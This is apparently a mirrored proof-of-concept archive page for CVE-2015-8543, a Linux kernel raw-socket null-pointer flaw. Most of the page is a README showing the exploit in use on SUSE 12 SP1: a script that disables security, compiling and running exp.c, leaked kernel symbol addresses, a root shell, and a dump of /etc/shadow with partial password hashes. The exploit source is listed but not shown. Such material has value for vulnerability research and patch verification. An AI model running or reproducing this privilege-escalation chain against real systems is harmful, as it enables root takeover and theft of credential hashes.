CVE-2015-8543 PoC — Linux kernel networking 拒绝服务漏洞

Source

https://github.com/bittorrent3389/CVE-2015-8543_for_SLE12SP1

Associated Vulnerability

Title:Linux kernel networking 拒绝服务漏洞 (CVE-2015-8543)
Description:Linux kernel是美国Linux基金会发布的开源操作系统Linux所使用的内核。NFSv4 implementation是其中的一个分布式文件系统协议。 Android和其他产品中使用的Linux kernel 4.3.2及之前版本中的networking实现过程中存在安全漏洞，该漏洞源于程序没有验证协议族的协议标识符。本地攻击者可通过使用CLONE_NEWUSER支持运行特制的SOCK_RAW应用，利用该漏洞拒绝服务（空指针逆向引用和系统崩溃）。

Readme

```
$cat /etc/*-release
```
PRETTY_NAME="SUSE Linux Enterprise Server 12 SP1"
```
$id
```
uid=1000(jeremysp1) gid=100(users) groups=100(users)
```
$sudo sh disable_security.sh
$gcc exp.c -o exp 2>/dev/null
$../nsjail/nsjail -Mo --user 0 --group 0 --keep_caps --chroot / -- /bin/sh -i 
sh-4.2# /home/jeremysp1/null_pointer_derf/exp
```
[+] prepare_kernel_cred :ffffffff81081250
[+] commit_creds :ffffffff81080f80
[+] mmap is successfull.
[+] addr :        0
in trigger!!
at:!:16883::::::
bin:*:16765::::::
daemon:*:16765::::::
ftp:*:16765::::::
ftpsecure:!:16883::::::
games:*:16765::::::
gdm:!:16883::::::
lp:*:16765::::::
mail:*:16765::::::
man:*:16765::::::
messagebus:!:16765::::::
news:*:16765::::::
nobody:*:16765::::::
nscd:!:16765::::::
ntp:!:16883::::::
openslp:!:16765::::::
polkitd:!:16765::::::
postfix:!:16883::::::
pulse:!:16883::::::
root:$6$GfY2v.Bz1BPLFMpdu9RJeC2x95lYZnMP0:16883::::::
rpc:!:16765::::::
rtkit:!:16883::::::
scard:!:16883::::::
sshd:!:16765::::::
statd:!:16883::::::
usbmux:!:16883::::::
uucp:*:16765::::::
vnc:!:16883::::::
wwwrun:*:16765::::::
jeremysp1:$6$71vmiLA.:16883:0:99999:7:::
pesign:!:16885::::::
``` sh
sh-4.2# id
```
uid=0(root) gid=0(root) groups=0(root)

File Snapshot


 [4.0K]  /data/pocs/f1231e3c2a976119b1353e133648a3cb341dea0d
├── [  76]  disable_security.sh
├── [2.3K]  exp.c
└── [1.2K]  README.md

0 directories, 3 files

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!